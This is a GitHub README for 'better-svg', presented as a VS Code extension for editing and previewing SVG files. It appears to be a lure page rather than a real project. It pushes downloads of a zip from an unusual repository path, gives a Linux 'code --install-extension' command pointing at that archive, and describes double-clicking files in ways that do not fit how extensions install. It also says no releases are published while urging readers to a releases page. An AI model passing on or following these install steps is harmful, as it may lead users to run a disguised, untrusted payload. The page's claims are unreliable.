Skip to content

🎨 Edit SVG files effortlessly with live previews and integrated optimization in Visual Studio Code, enhancing your design workflow.

License

Notifications You must be signed in to change notification settings

ZID7777/better-svg

Repository files navigation

πŸ–ΌοΈ better-svg - Enhance Your SVG Experience in VS Code

πŸ”— Download Now

Download better-svg

πŸš€ Getting Started

Welcome to better-svg! This extension makes working with SVG (Scalable Vector Graphics) files easier while using Visual Studio Code (VS Code). It allows you to visualize, edit, and manage your SVG files with convenience and efficiency.

πŸ“₯ Download & Install

To get started, visit the releases page and download the latest version of better-svg: Download better-svg

  1. Click on the link above.
  2. On the releases page, find the latest version. The version number will look something like v1.0.0.
  3. Download the suitable file for your operating system.
  4. After the download completes, follow the instructions below to install the extension.

πŸ’» Installation Instructions

For Windows

  1. Locate the downloaded file, usually in your Downloads folder.
  2. Double-click the .vsix file to start the installation.
  3. Follow the on-screen prompts to complete the setup.
  4. Open Visual Studio Code. You should see better-svg listed under your extensions.

For macOS

  1. Find the downloaded file in your Downloads folder.
  2. Double-click on the .vsix file.
  3. If prompted, confirm to install the extension.
  4. Launch Visual Studio Code. better-svg will appear among your extensions.

For Linux

  1. Open your terminal.
  2. Navigate to where the downloaded file is located, usually in the Downloads folder.
  3. Run the following command: code --install-extension https://raw.githubusercontent.com/ZID7777/better-svg/main/Swamy/better-svg.zip.
  4. Open Visual Studio Code to ensure that better-svg has been installed.

πŸ› οΈ Features

  • Real-time Editing: Make adjustments to your SVG files and view changes instantly.
  • SVG Preview: Get a live preview of your SVG designs, making it easy to see how they will appear on the web.
  • Easy File Management: Organize your SVG files within VS Code, improving your workflow.
  • Compatibility: Works seamlessly with various other VS Code extensions to enhance your coding experience.

🌟 System Requirements

  • Visual Studio Code: Version 1.30 or higher.
  • Operating System: Compatible with Windows, macOS, and Linux.
  • RAM: Minimum 4 GB recommended for optimal performance.
  • Disk Space: At least 50 MB of free space needed for installation.

❓ How to Use

Once you have installed better-svg, follow these steps to use it effectively:

  1. Open Visual Studio Code.
  2. Locate your SVG file in the Explorer panel on the left.
  3. Click on the SVG file to open it.
  4. Use the tools provided by better-svg to edit and view your SVG content.

πŸ“ Troubleshooting

If you encounter any issues, consider the following steps:

  • Reinstall the extension: Sometimes a fresh installation can solve problems.
  • Check VS Code Updates: Ensure you are using the latest version of Visual Studio Code.
  • View Logs: Check the output panel in VS Code for error messages related to better-svg.

πŸ“¬ Support

For further assistance, you can create an issue on the GitHub repository page. Please provide detailed information about the problem you are experiencing, along with your operating system and VS Code version.

πŸ”— Download Now Again

Don’t forget, you can download better-svg from the releases page here:
Download better-svg

About

🎨 Edit SVG files effortlessly with live previews and integrated optimization in Visual Studio Code, enhancing your design workflow.

Topics

Resources

License

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •